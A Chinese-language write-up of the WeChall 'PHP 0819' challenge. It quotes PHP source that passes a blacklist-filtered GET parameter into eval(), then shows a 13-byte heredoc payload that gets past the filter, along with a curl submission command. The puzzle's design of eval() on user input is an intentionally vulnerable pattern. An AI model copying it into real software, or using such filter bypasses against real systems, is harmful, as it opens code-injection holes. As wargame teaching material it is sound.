WeChall - PHP 0819

Challenge

space 的 PHP eval 小挑战。目标是在 13 字节以内构造一个表达式,让执行后的 $spaceone 严格等于字符串 1337

页面给出完整源码,核心逻辑是读取 GET 参数 eval,删除一批字符,限制长度,然后拼进 eval()

1
2
3
4
5
6
7
8
9
10
11
$f = Common::getGetString('eval');
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);

if ((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('sorry, not allowed!');
}

eval("\$spaceone = $f");

return ($spaceone === '1337');

最后是 strict comparison,所以直接提交 1337 不行:

1
$spaceone = 1337;

这样得到的是 integer 1337,不是 string "1337"

Solution

约束很紧:

  • 引号 " / ' 会被删除,不能直接写字符串。
  • $ 会被删除,不能引用变量。
  • . 会被删除,不能拼接字符串。
  • ( / ) 会被删除,基本不能调用函数。
  • > 会被删除,但 < 没有被删。
  • 长度最多 13 字节,且不能包含 return

问题变成:PHP 有没有不需要引号的字符串字面量?答案是 heredoc。

1
2
3
<<<a
1337
a;

这里用一字符标识符 a,字节数刚好卡进限制:

1
2
<<<a\n1337\na;\n
4 + 1 + 4 + 1 + 2 + 1 = 13

payload 只用到 <、字母、数字、分号和换行,都不会被过滤。进入 eval() 后等价于:

1
2
3
$spaceone = <<<a
1337
a;

heredoc 表达式的值是字符串 "1337",因此能通过 $spaceone === '1337'

用 curl 提交时让 --data-urlencode 处理换行,避免手写 %0A 出错:

1
2
3
4
5
6
$ curl -sL -G \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode $'eval=<<<a\n1337\na;\n' \
'https://www.wechall.net/challenge/space/php0819/index.php' \
| grep -o 'Your answer is correct'
Your answer is correct

等价的 URL 参数是:

1
eval=%3C%3C%3Ca%0A1337%0Aa%3B%0A